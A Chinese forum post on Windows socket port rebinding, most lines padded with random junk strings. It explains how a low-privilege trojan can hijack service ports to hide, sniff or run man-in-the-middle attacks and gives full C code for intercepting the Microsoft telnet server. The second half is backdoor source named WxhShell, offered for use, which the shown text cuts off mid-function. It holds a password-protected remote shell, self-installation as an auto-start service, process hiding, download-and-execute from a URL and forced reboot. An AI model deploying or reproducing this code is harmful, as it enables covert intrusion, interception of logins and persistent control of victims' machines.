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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .tBlGMcN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5>k:PKHL  
@u~S!(7.Wi  
  saddr.sin_family = AF_INET; baxZ>KNi  
)*')  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); I>c,Bo7  
7Cgi&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); aZfMeW  
u v%Q5O4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 fgLjF,Y  
\}jMC  
  这意味着什么?意味着可以进行如下的攻击: _fAgp_)  
*Gsj pNr-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +y7z>Fwl  
%@$UIO,(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0I}e>]:I  
BZR{}Aj4pa  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0[;2dc  
X>q`F;W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lu8G $EQI  
]hl*6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 12$0-@U  
>)><u4}  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _)A|JC!jId  
X{9^$/XsJ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <izQ]\kL  
#&3,T1i`  
  #include r pNb.  
  #include O-iE0t  
  #include +pofN-*%  
  #include    >{#JIG.  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %#6@PQ[R.  
  int main() fF Q|dE;cF  
  { K$E3RB_F  
  WORD wVersionRequested; b#j:)PA0C  
  DWORD ret; 2HbnE&  
  WSADATA wsaData; e UPa5{P  
  BOOL val; &L o TO+  
  SOCKADDR_IN saddr; o%d TcoCN  
  SOCKADDR_IN scaddr; #Z&/w.D2  
  int err; 1? >P3C  
  SOCKET s; SzULy >e  
  SOCKET sc; QX,$JM3  
  int caddsize; kZ]H[\Fs  
  HANDLE mt; GP:<h@:798  
  DWORD tid;   =BJLj0=N  
  wVersionRequested = MAKEWORD( 2, 2 ); `Sod]bO +U  
  err = WSAStartup( wVersionRequested, &wsaData ); 4u{S?Ryy  
  if ( err != 0 ) { 6FS%9.Ws  
  printf("error!WSAStartup failed!\n"); XS<>0YM  
  return -1; $vn6%M[  
  } sdp&D@  
  saddr.sin_family = AF_INET; 2e48L677-  
   Pt]>AW;i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 WBe0^=x  
4GYi'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1 ZdB6U0  
  saddr.sin_port = htons(23); %6K7uvTq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) t)SZ2G1r  
  { |IxHtg3>6{  
  printf("error!socket failed!\n"); r]B8\5|<d  
  return -1; 2y [Q  
  } =8FvkNr  
  val = TRUE; C@M-_Ud>Q  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 8%rD/b6`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,67Q!/O  
  { A40DbD\^ad  
  printf("error!setsockopt failed!\n"); ('J/Ww<  
  return -1; o3WOp80hz  
  } ChBf:`e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >P6"-x,["  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 oFk2y^>u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "N4^ ^~s  
XF`2*:7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P^Hgm  
  { +Y;P*U}Qg[  
  ret=GetLastError(); c:Ua\$)u3,  
  printf("error!bind failed!\n"); h>Kx  
  return -1; ,EqQU|  
  } *v<f#hB"  
  listen(s,2); kk4 |4  
  while(1) !$I~3_c  
  { 5epI'D  
  caddsize = sizeof(scaddr); kc'$4 J4Tw  
  //接受连接请求 %VHy?!/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); DP_b9o \5  
  if(sc!=INVALID_SOCKET) IsXNAYj  
  { MT6p@b5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \PX4>/d@y  
  if(mt==NULL) }D1x%L  
  { G?Et$r7:R  
  printf("Thread Creat Failed!\n"); iFIGJS  
  break; w\C1Bh!  
  } pwSgFc$z  
  } iUkUo x  
  CloseHandle(mt); 5(;Y&?k  
  } )W\)37=.  
  closesocket(s); I| TNo-!$  
  WSACleanup(); $<*) 5|6  
  return 0; pyEQb#  
  }   2- iY:r  
  DWORD WINAPI ClientThread(LPVOID lpParam) !$)reaS  
  { lZzW- %K  
  SOCKET ss = (SOCKET)lpParam; )@]%:m!ER  
  SOCKET sc; m\teE]8x  
  unsigned char buf[4096]; "O$bq::(]e  
  SOCKADDR_IN saddr; G?4@[m  
  long num; |mT%IR  
  DWORD val; =4TQ*;V:  
  DWORD ret; hY}Q|-|  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M1jT+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   kD#T _d  
  saddr.sin_family = AF_INET; aZZ0eH  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^sv|m"  
  saddr.sin_port = htons(23); &X4anH>O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) @52#ZWy  
  { w4 yrAj 2  
  printf("error!socket failed!\n"); FgdnX2s J  
  return -1; cXXZ'y>FP  
  } -"-.Z&#  
  val = 100; TE`5i~R*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Va!G4_OT  
  { ^[hAj>7_8$  
  ret = GetLastError(); 74^v('-2  
  return -1; Iv6 lE:)  
  } FDo PW~+[  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <Bo\a3Z  
  { b'4a;k!rS  
  ret = GetLastError(); @&T' h}|:  
  return -1; C-pR$WM:HN  
  } \g0vzo"u  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M)13'B.  
  { zC50 @S3|  
  printf("error!socket connect failed!\n"); ?NE/ }?a  
  closesocket(sc); RO3LZBL  
  closesocket(ss); i)l0[FNI}  
  return -1; UfW=/T  
  } |v+z*}fKw  
  while(1) 0E\#!L  
  { d` GN!^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4!sK>l!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 @9^OHRZX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &C'^YF_^0  
  num = recv(ss,buf,4096,0); !7t&d  
  if(num>0) MlTC?Rp#  
  send(sc,buf,num,0); =r]l"T  
  else if(num==0) Xg~9<BGsi  
  break; stiF`l  
  num = recv(sc,buf,4096,0); RvG=GJJ9  
  if(num>0) >H+t ZV  
  send(ss,buf,num,0); (wj:Gc  
  else if(num==0) ?}`- ?JB1  
  break; AojL4H|  
  } y\v#qFVOZ  
  closesocket(ss); ~\=D@G,9  
  closesocket(sc); l8~(bq1  
  return 0 ; izSX  
  } ~vTwuc\(H  
Z/,R{Jgt"  
#91^1jyMf  
========================================================== yPE3Awh5  
%OoH<\w w  
下边附上一个代码,,WXhSHELL kA=5Kc  
kq| !{_  
========================================================== HMVP71  
yjT>bu]  
#include "stdafx.h" DN:| s+Lz  
AL":j6!OQ  
#include <stdio.h> 20I`F>-*  
#include <string.h> &G2&OFAr]q  
#include <windows.h> )>2L(~W  
#include <winsock2.h> n1%2 sV)>  
#include <winsvc.h> /<_!Gz.@uG  
#include <urlmon.h> WIU]>_$.  
BP..p ^EPN  
#pragma comment (lib, "Ws2_32.lib") 75a3hPCZ  
#pragma comment (lib, "urlmon.lib") x[mz`0  
h: yJ  
#define MAX_USER   100 // 最大客户端连接数 a~Dk@>+P>  
#define BUF_SOCK   200 // sock buffer 1v&!%9  
#define KEY_BUFF   255 // 输入 buffer lEl.'X$  
F]M-r{  
#define REBOOT     0   // 重启 4AN8Sx(  
#define SHUTDOWN   1   // 关机 E5i5gE"\  
N]F RL\K  
#define DEF_PORT   5000 // 监听端口 }$i"t8"s  
 Gd A!8  
#define REG_LEN     16   // 注册表键长度 WVD48}HF-  
#define SVC_LEN     80   // NT服务名长度 t U}6^yc  
)W=O~g  
// 从dll定义API _-BP?'lN  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); NsI.mTc2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D\M"bf>q1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NzAh3k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $'KQP8M+  
OxDq LX  
// wxhshell配置信息 e6MBy\*n  
struct WSCFG { =?$~=1SL+  
  int ws_port;         // 监听端口 .@fA_8  
  char ws_passstr[REG_LEN]; // 口令 mrr]{K  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]I)ofXu]  
  char ws_regname[REG_LEN]; // 注册表键名 W,EIBgR(R5  
  char ws_svcname[REG_LEN]; // 服务名 Yuw:W:wY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?j8!3NCl}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7j)ky2r#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GXxI=,L8F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~~Bks{"BS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" cFc(HADM`r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 56 JQ h  
6 D Xja_lp  
}; @%fTdneH  
bN-!&Td  
// default Wxhshell configuration ,K[e?(RP  
struct WSCFG wscfg={DEF_PORT, lrZ]c:%k  
    "xuhuanlingzhe", G_?U?:!AC  
    1, S?CT6moXA  
    "Wxhshell", I;Mm+5A  
    "Wxhshell", 3!8(A/YP;  
            "WxhShell Service", 4Q0ZY(2 EO  
    "Wrsky Windows CmdShell Service", PP{ 9Y Vr  
    "Please Input Your Password: ", _yg;5#3  
  1, N `:MF 9  
  "http://www.wrsky.com/wxhshell.exe", zYV{ |Z  
  "Wxhshell.exe" 61Cc? a*_  
    }; mDz44XO   
b 9rQQS  
// 消息定义模块 "LlQl3"=  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &(,\~  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4/~x+tdc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Jy/< {7j  
char *msg_ws_ext="\n\rExit."; lv=q( &  
char *msg_ws_end="\n\rQuit."; ^85Eveu  
char *msg_ws_boot="\n\rReboot..."; Soq#cl'll-  
char *msg_ws_poff="\n\rShutdown..."; <qfAW?tF  
char *msg_ws_down="\n\rSave to "; rwJ U;wy  
l,lqhq\  
char *msg_ws_err="\n\rErr!"; \{`^Q+<  
char *msg_ws_ok="\n\rOK!"; "<+~uz  
(Ff}Y.4  
char ExeFile[MAX_PATH]; g,]o+nT  
int nUser = 0; ViiJDYT>E<  
HANDLE handles[MAX_USER]; UB5H8&Rf!  
int OsIsNt; Q k}RcP  
27fLW&b2  
SERVICE_STATUS       serviceStatus; =V|jd'iwx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <&Xl b0  
r<fcZ)jt|  
// 函数声明 P}~MO)*1  
int Install(void); m6[}KkW  
int Uninstall(void); rmzzbLTu  
int DownloadFile(char *sURL, SOCKET wsh); H2%Qu<Kg2  
int Boot(int flag); *V hEl7  
void HideProc(void); OY}FtG y  
int GetOsVer(void); C0[U}Y/r2  
int Wxhshell(SOCKET wsl); s1Acl\l-uF  
void TalkWithClient(void *cs); ! DOyOTR&3  
int CmdShell(SOCKET sock); by'KJxl[  
int StartFromService(void);  .x%w#  
int StartWxhshell(LPSTR lpCmdLine); h_?`ESI~  
>I\B_q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }P?e31@:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0&s a#g2  
SbGdcCB  
// 数据结构和表定义 yn}Dj9(q  
SERVICE_TABLE_ENTRY DispatchTable[] = H;4QuB'^  
{ T+nID@"36  
{wscfg.ws_svcname, NTServiceMain}, =tD*,2]  
{NULL, NULL} Y]L4,V  
}; avq$aq(3&  
`sqr>QD  
// 自我安装 >\[]z^J  
int Install(void) OiQf=Uz\  
{ U.,S.WP+d  
  char svExeFile[MAX_PATH]; =_pSfKR;  
  HKEY key; E>s+"y  
  strcpy(svExeFile,ExeFile); zQulPU  
>fWGiFmlk  
// 如果是win9x系统,修改注册表设为自启动 3!l>\#q6  
if(!OsIsNt) { Qwpni^D8j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uQ-GJI^t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =( |%%,3  
  RegCloseKey(key); :W,S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PolJo?HZ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {EvT7W  
  RegCloseKey(key); @ &N  
  return 0; P6.PjK!Ar  
    } ldUZ\z(*  
  } s0dP3tz>  
} ,Tr&`2w  
else { 3`yO&upk  
=KHb0d |.  
// 如果是NT以上系统,安装为系统服务 r\Y,*e  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S?b&4\:  
if (schSCManager!=0) sMGo1pG(  
{ DWOf\[  
  SC_HANDLE schService = CreateService eR \duZ!`  
  ( +"-l~`+<es  
  schSCManager, u!|_bI3  
  wscfg.ws_svcname, ,Suk_aX>  
  wscfg.ws_svcdisp, syB pF:`-W  
  SERVICE_ALL_ACCESS, 1<'z)r4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7he,(V  
  SERVICE_AUTO_START, ^nNY| *  
  SERVICE_ERROR_NORMAL, ]]K?Q )9x  
  svExeFile, AB/${RGf+  
  NULL, |K1S(m<F  
  NULL, a6n@   
  NULL, > pb}@\;:  
  NULL, nrKAK^  
  NULL 1"Oe*@`pV  
  ); &Tt7VYJfIV  
  if (schService!=0) -+@N/d5  
  { g@^y$wt  
  CloseServiceHandle(schService); Pv5S k8  
  CloseServiceHandle(schSCManager); (G> su  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q,5PscE6&k  
  strcat(svExeFile,wscfg.ws_svcname);  _C5i\Y)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %>Gb]dv?  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :4V5p =v-  
  RegCloseKey(key); 9< ?w9D.1  
  return 0; UCcr>  
    } @>O7/d?O  
  } [T r7SU#x  
  CloseServiceHandle(schSCManager); Dst;sLr[,  
} s`=| D'G(=  
} 9f0`HvHC  
y[$UeE"0  
return 1; 3R< r[3WP  
} w3,KqF  
CmBP C jh  
// 自我卸载 C`[2B0  
int Uninstall(void) C{/U;Ie-b  
{ #).^k-  
  HKEY key; u!D?^:u=)  
a?+C]u?_D  
if(!OsIsNt) { c;]\$#2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y_Lnk=Q ^  
  RegDeleteValue(key,wscfg.ws_regname); n )X%&_  
  RegCloseKey(key); P 2_!(FZ<l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C&Q[[k"kb  
  RegDeleteValue(key,wscfg.ws_regname); gS<p~LPf  
  RegCloseKey(key); tRU/[?!  
  return 0; >97YK =  
  } []@@  
} y`zdI_!7  
} 0J'^<G TL  
else { sZ=!*tb-  
0x~+=GUN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); F}l3\uC]  
if (schSCManager!=0) _'cB<9P  
{ mH$`)i8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ppIXS(  
  if (schService!=0) 'Grej8  
  { .) tQ&2  
  if(DeleteService(schService)!=0) { ;U4O` pZ  
  CloseServiceHandle(schService); uxxk&+M  
  CloseServiceHandle(schSCManager); [,Rc&7p~R  
  return 0; x} =,'Ko}3  
  } wp}Q4I  
  CloseServiceHandle(schService); ys[xR=nbD  
  } ]mtiIu[  
  CloseServiceHandle(schSCManager); ~s&r.6 DW  
} S Yi!%  
} X$;x2mz nM  
/95z1e  
return 1; !QVhP+l'H  
} ).jQ+XE'>  
!:\0}w$-  
// 从指定url下载文件 4Mg%}/cC  
int DownloadFile(char *sURL, SOCKET wsh) w%`S>+kX&  
{ spP[S"gI  
  HRESULT hr; | t:UpP  
char seps[]= "/"; uSXnf  
char *token; RDSC@3%  
char *file; l7T?Yx j  
char myURL[MAX_PATH]; SVVEb6&  
char myFILE[MAX_PATH]; $A~aNI  
ILDO/>n  
strcpy(myURL,sURL); &V axv$v}  
  token=strtok(myURL,seps); !j7mY9x+  
  while(token!=NULL) U~BR8]=G  
  { /D9#v1b  
    file=token; _}47U7s8  
  token=strtok(NULL,seps); jl}9R]Y_2  
  } J1(SL~e],  
~c v|,  
GetCurrentDirectory(MAX_PATH,myFILE); 8cZ[Kl%  
strcat(myFILE, "\\"); FP&Ykx~  
strcat(myFILE, file); lGahwn:  
  send(wsh,myFILE,strlen(myFILE),0); O6$,J1 2l  
send(wsh,"...",3,0); S ^~"#   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q<.k:v&  
  if(hr==S_OK) U^[AW$WzU  
return 0; i;~.kgtq4  
else :-59~8&  
return 1; W"s/ 8;  
&^&0,g?To  
} ?i0u)< H  
eptw)S-j  
// 系统电源模块 XC<'m{^(m  
int Boot(int flag) \'g7oV;>cI  
{ wG:RvgX}  
  HANDLE hToken; Zt41fPQ  
  TOKEN_PRIVILEGES tkp; /kr|}`# Z  
Z/ml ,4e  
  if(OsIsNt) { u)EtEl7Wq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jHT^I as  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _t]Q*i0p  
    tkp.PrivilegeCount = 1; ~b *|V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l-r$czY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,]JIp~=nsh  
if(flag==REBOOT) { J0bcW25  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0u"j^v  
  return 0; ]srL>29_b  
} 0ie)$fi  
else { Vq#0MY)2gS  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) a"4X7 D+  
  return 0; EpACd8Fb  
} $[HCetaqV  
  } w$s6NBF7  
  else { gZ>&cju  
if(flag==REBOOT) { n=DmdQ}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) #(}{*d R  
  return 0; ZX-A}  
} {7X9P<<L7  
else { jEx8G3EL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'p!&&.%  
  return 0; 4+>~Ui_#  
} pIrL7Pb0  
} .0/"~5  
 \v:Z;EbX  
return 1; k=d _{2 ~  
} sw1gpkX  
&)q>Z!C-l  
// win9x进程隐藏模块 ^Hf?["m^@  
void HideProc(void) D?xR>Oo)  
{ ?Nt m5(R  
Su@V5yz  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3&[d.,/  
  if ( hKernel != NULL ) _W Hi<,-  
  { &!:mL],  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); u9q#L.Ij  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U7zd7 O  
    FreeLibrary(hKernel); `|nJAW3  
  } v8\_6}*I  
E2o8'.~Yd`  
return; " 5Pqvi  
} dJQwb  
vfDX~_N  
// 获取操作系统版本 m/g[9Y  
int GetOsVer(void) mm!JNb9(  
{ NU.4_cixb  
  OSVERSIONINFO winfo; ,{ 0&NX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o@$py U8  
  GetVersionEx(&winfo); I+ Qt5Ox  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) aY, '^S  
  return 1; R%t6sbsNv  
  else R SWw4}  
  return 0; YuO!Y9iEm  
} Cvt/ot-J?  
F` gK6;zp  
// 客户端句柄模块 ER!s  
int Wxhshell(SOCKET wsl) jX$U)O  
{ lUnC+w#[  
  SOCKET wsh; LChwHkRHJI  
  struct sockaddr_in client; P 2x.rukT|  
  DWORD myID; xOxyz6B\  
g_Y$5ft`  
  while(nUser<MAX_USER) qpf|.m  
{ 5 r<cna  
  int nSize=sizeof(client); B.Z5+MgM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 04X/(74  
  if(wsh==INVALID_SOCKET) return 1; Wb^g{F!W  
 GVu-<R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `ST;";7!  
if(handles[nUser]==0) SrWmV@"y  
  closesocket(wsh); HZ{DlH;&  
else 5C-n"8&C&  
  nUser++; >Zm|R|{BE  
  } vHymSU/J  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 68qCY  
,0,& L  
  return 0; ?[5_/0L,=  
} sU^K5oo  
`9f7H  
// 关闭 socket Y$hLsM\%  
void CloseIt(SOCKET wsh) ~ ^~+p  
{ ,I f9w$(z  
closesocket(wsh); W\ARCcTQ  
nUser--; ))6iVgSE$  
ExitThread(0); kQ6YQsJ.*  
} !*k'3r KOW  
`LTD|0;  
// 客户端请求句柄 2F,?}jJ.K  
void TalkWithClient(void *cs) unN*L  
{ kkT=g^D9j  
P=4o)e7E!  
  SOCKET wsh=(SOCKET)cs; t .XuH#  
  char pwd[SVC_LEN]; 7c'OIY].,  
  char cmd[KEY_BUFF]; SzjylUYV  
char chr[1]; ]4_)WUS.c  
int i,j; ]A_A4=[w  
8;,(D# p  
  while (nUser < MAX_USER) { `C*psS  
ARB^]  
if(wscfg.ws_passstr) { <5c^DA  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Zr!CT5C5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); te3\MSv;O  
  //ZeroMemory(pwd,KEY_BUFF); !V0)eC50  
      i=0; y[f6J3/  
  while(i<SVC_LEN) { 0ARj3   
ALR`z~1  
  // 设置超时 9aKCO4  
  fd_set FdRead; _ba.oIc  
  struct timeval TimeOut; 4':U rJ+  
  FD_ZERO(&FdRead); EhIa31>X  
  FD_SET(wsh,&FdRead); WWIQ6EJO  
  TimeOut.tv_sec=8; _7-P8"m  
  TimeOut.tv_usec=0; H#I%6k*\a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `hl1R3nBM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Wl>$<D4mO[  
9>L{K   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KSl@V>!_  
  pwd=chr[0]; yuB\Z/  
  if(chr[0]==0xd || chr[0]==0xa) { 8&y3oxA,  
  pwd=0; p@=B\A]  
  break; 3)~z~p7  
  } 3%V VG~[  
  i++; j2!^iGS}  
    } z]Mu8  
6Y= MW{=F  
  // 如果是非法用户,关闭 socket `SESj)W(y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6:Zd,N=  
} l$!g# ?w  
McQWZ<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ca!x{,Cvnj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); naW!Mga  
v0~*?m4  
while(1) { @{^6_n+gT%  
rt!Uix&  
  ZeroMemory(cmd,KEY_BUFF); vqBT^Q_q;  
bQ_N^[oxQ  
      // 自动支持客户端 telnet标准   kF"G {5  
  j=0; k/#321Z  
  while(j<KEY_BUFF) { \kksZ4,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .:+&2#b  
  cmd[j]=chr[0]; $x1PU67  
  if(chr[0]==0xa || chr[0]==0xd) { 7{DSLKtN  
  cmd[j]=0; E\=23[0  
  break; F5EsaF'e4  
  } ,W&::/2<7  
  j++; 4>8'.8S   
    } tv7A&Z)Rh  
75#&hi/~  
  // 下载文件 j[YO1q*  
  if(strstr(cmd,"http://")) { VZ$FTM^b8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w^aI1M50  
  if(DownloadFile(cmd,wsh)) UkXf)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /M8&`  
  else 79Si^n1\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tm280  
  } `!iVMTp  
  else { G~Mxh,aD$>  
.R>4'#8q  
    switch(cmd[0]) { J |TA12s  
  SXfAw)-n  
  // 帮助 TYh_uox6  
  case '?': {  D^JuL6U  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); G8voqP  
    break; 3a]Omuu|=  
  } ZU-vZD>  
  // 安装 N|L Ey  
  case 'i': { vL:tuEE3  
    if(Install()) Hb{G RG70  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4XL]~3 c  
    else  MfNguh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X` FFI6pb  
    break; v %fRq!~  
    } Qk.:b  
  // 卸载 dKwY\)\  
  case 'r': { Yv[j5\:x  
    if(Uninstall()) C~aNOe WR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8'X:}O/  
    else [>tyx{T Ye  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D%k]D/  
    break; Z39I*-6F9W  
    } ]@MBE1M  
  // 显示 wxhshell 所在路径 C 9:5c@G  
  case 'p': { e^ygQ<6%  
    char svExeFile[MAX_PATH]; s9-aPcA  
    strcpy(svExeFile,"\n\r"); F)g.xQ  
      strcat(svExeFile,ExeFile); 92HxZ*t7km  
        send(wsh,svExeFile,strlen(svExeFile),0); AmmUoS\  
    break; g` QbJ61a  
    } ]ZOzqh_0C  
  // 重启 `CXAE0Fx  
  case 'b': { j4G?=oDb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SecZ5(+=  
    if(Boot(REBOOT)) - &/n[EE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]B"YW_.x2  
    else { 5+[`x ']l  
    closesocket(wsh); ` d[ja,  
    ExitThread(0); qc-4;m o  
    } 3bp'UEF^k  
    break; oAgO 3x   
    } f}1R,N_fC  
  // 关机 +u:Q+PkM  
